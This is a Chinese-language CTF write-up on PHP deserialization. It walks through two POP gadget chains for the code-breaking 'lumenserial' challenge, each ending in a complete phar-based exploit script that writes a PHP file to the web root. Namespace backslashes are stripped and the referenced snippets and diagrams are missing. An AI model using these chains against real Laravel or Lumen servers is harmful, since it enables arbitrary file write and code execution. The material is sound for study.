PHP反序列化入門之尋找POP鏈(二)
前言
本文以 code-breaking 中 lumenserial 為例,練習PHP反序列化 POP鏈 的尋找,題目地址: https://code-breaking.com/puzzle/7/ 。
上篇 文章 ,我們是通過 PendingBroadcast 類 __destruct 方法中的 $this->events->dispatch ,然後直接走 $this->events 物件的 __call 方法,本文將探索直接走 $this->events 物件 dispatch 方法的 POP鏈 。
POP鏈一
我們直接搜尋 ‘function dispatch(‘ ,發現有一個 Dispatcher 類的 dispatchToQueue 方法中呼叫的 call_user_func 函式兩個引數都可控,而且 dispatch 中呼叫了 dispatchToQueue 方法,程式碼如下:
從程式碼中我們可以看到,只要傳入的 $command 變數是 ShouldQueue 類的例項即可。通過搜尋,我們會發現 ShouldQueue 是一個介面,那麼我們找到其實現類即可。直接搜尋 ‘implements ShouldQueue’ ,我們隨便選取一個實現類即可,這裡我選用 CallQueuedClosure 類,相關程式碼如下:
現在 call_user_func 函式的兩個引數都可控,又變成了我們可以呼叫任意物件的任意方法了,這樣我們有可以利用上篇文章中的方法,呼叫 ReturnCallback 類的 invoke 方法,並傳入 StaticInvocation 類的物件作為引數,形成整個完整的 POP鏈 ,利用 exp 如下:
<?php namespace IlluminateBroadcasting{ class PendingBroadcast{ protected $events; protected $event; function __construct($events, $event){ $this->events = $events; $this->event = $event; } } class BroadcastEvent{ public $connection; public function __construct($connection) { $this->connection = $connection; } } }; namespace PHPUnitFrameworkMockObjectStub{ class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }; namespace PHPUnitFrameworkMockObjectInvocation{ class StaticInvocation{ private $parameters; public function __construct($parameters){ $this->parameters = $parameters; } } }; namespace IlluminateBus{ class Dispatcher{ protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } }; namespace{ $function = 'file_put_contents'; $parameters = array('/var/www/html/11.php','<?php phpinfo();?>'); $staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters); $broadcastevent = new IlluminateBroadcastingBroadcastEvent($staticinvocation); $returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function); $dispatcher = new IlluminateBusDispatcher(array($returncallback,'invoke')); $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher,$broadcastevent); $o = $pendingbroadcast; $filename = 'poc.phar';// 字尾必須為phar,否則程式無法執行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); }; ?>
我們再通過下面這張圖片,來理清整個 POP鏈 的呼叫過程。
POP鏈二
接下來這個 POP鏈 思路是參考 這篇 文章,尋找 POP鏈 的思路還是從 dispatch 方法入手。在上篇文章中,我們發現第一個 RCE 走了 Generator 類的 __call 方法,這個方法作為 POP鏈 中的一部分極其好用,因為 call_user_func_array 方法中的兩個引數完全可控。我們只要找到方法中存在形如 this->$object->$method($arg1,$arg2) ,且 $object 、 $method 、 $arg1 、 $arg2 四個引數均可控制,那麼就可以利用這個 Generator 類的 __call 方法,最終呼叫 call_user_func_array(‘file_put_contents’,array(‘1.php’,’xxx’)) 。
我們繼續搜尋 dispatch ,會發現一個 TraceableEventDispatcher 類的 dispatch 方法,其程式碼如下:
我們發現其呼叫了 preProcess 方法,傳入的 $eventName 變數是可控的,我們跟進該方法, 具體程式碼如下:
可以看到我們得讓 $this->dispatcher->hasListeners($eventName) 返回 true ,否則返回的空值對我們無用。然後 第12行 的 getListeners 方法返回的值得是一個數組,這樣我們才能進入 foreach 結構裡。之所以要進到 foreach 結構裡,是因為我們在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,結構形如: this->$object->$method($arg1,$arg2) ,前三個引數可以按照如下構造:
this->$object =new FakerGenerator(); this->$object->$method = 'removeListener'; arg1 = '/var/www/html/1.php'; this->formatters['removeListener'] = 'file_put_contents';
這樣子構造之後,執行到 $this->dispatcher->removeListener($eventName, $listener) 時,就會呼叫 Generator 類的 __call 方法,繼而執行 call_user_func_array(‘file_put_contents’,array(‘/var/www/html/upload/1.php’,$listener)) ,所以我們只要再確保第四個引數 $listener 可控即可。
現在我們再回到上面 第6行 的 if 語句,我們需要先繞過這個判斷條件。該程式碼會呼叫 FakerGenerator 類的 hasListeners 方法,進而觸發 __call 方法,那麼我們只要將 this->formatters[‘hasListeners’] 設定成 ‘strlen’ 即可,之後就會呼叫 call_user_func_array(‘strlen’,’var/www/html’) ,這樣就可以繞過 if 語句。
j接著我們再回到 foreach 語句,繼續搜尋可利用的 getListeners 方法,看看是否可以返回一個可控陣列(返回陣列才能進入 foreach 語句)。通過搜尋,我們會發現一個 Dispatcher 類的 getListeners 符合我們的要求,其具體程式碼如下:
此時 $eventName 是我們傳入的 ‘/var/www/html/upload/1.php’ ,很明顯上面的程式碼中可以返回一個數組,而且陣列的值完全可控。
剛才 foreach 中的 $this->dispatcher->getListeners() 呼叫的是 FakerGenerator 類的 getListeners 方法,現在我們要想辦法讓它呼叫 Dispatcher 類的 getListeners 方法。我們再看一下剛才 Generator 的呼叫流程圖:
可以看到只要我們將 this->providers 設定為 array(Dispatcher類) 即可,之後的呼叫就類似於 call_user_func_array(array(Dispatcher類,’getListeners’),’/var/www/html/1.php’) 。
現在基本完成了整個利用鏈,不過在執行到 $this->dispatcher->removeListener($eventName, $listener) 之前,還有一些額外的程式碼需要執行,我們要確保這些程式碼不會影響我們下面的方法,所以我們需要繼續看 foreach 下面的程式碼(這裡說的是 TraceableEventDispatcher 類 preProcess 方法中的 foreach )。
我們看到其呼叫了本類的 getListenerPriority 方法,具體程式碼如下:
我們看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,簡直完美。我們可以不用執行到剛才的 removeListener 方法,直接到這裡就可以完成整個 POP鏈 了。最終的利用 exp 如下:
<?php namespace IlluminateEvents{ class Dispatcher{ protected $listeners; protected $wildcardsCache; public function __construct($parameter,$function){ $this->listeners[$parameter['filename']] = array($parameter['contents']); } } }; namespace Faker{ class Generator{ protected $providers; protected $formatters; public function __construct($providers,$formatters){ $this->providers = $providers; $this->formatters = $formatters; } } }; namespace SymfonyComponentEventDispatcherDebug{ class TraceableEventDispatcher{ private $dispatcher; public function __construct($dispatcher){ $this->dispatcher = $dispatcher; } } }; namespace IlluminateBroadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $parameter){ $this->events = $events; $this->event = $parameter['filename']; } } } namespace { $function = 'file_put_contents'; $parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>'); $dispatcher = new IlluminateEventsDispatcher($parameters,$function); $generator = new FakerGenerator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]); $traceableeventdispatcher = new SymfonyComponentEventDispatcherDebugTraceableEventDispatcher($generator); $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($traceableeventdispatcher,$parameters); $o = $pendingbroadcast; $filename = 'poc.phar';// 字尾必須為phar,否則程式無法執行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); "); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); } ?>
我們再通過下面這張圖片,來理清整個 POP鏈 的呼叫過程。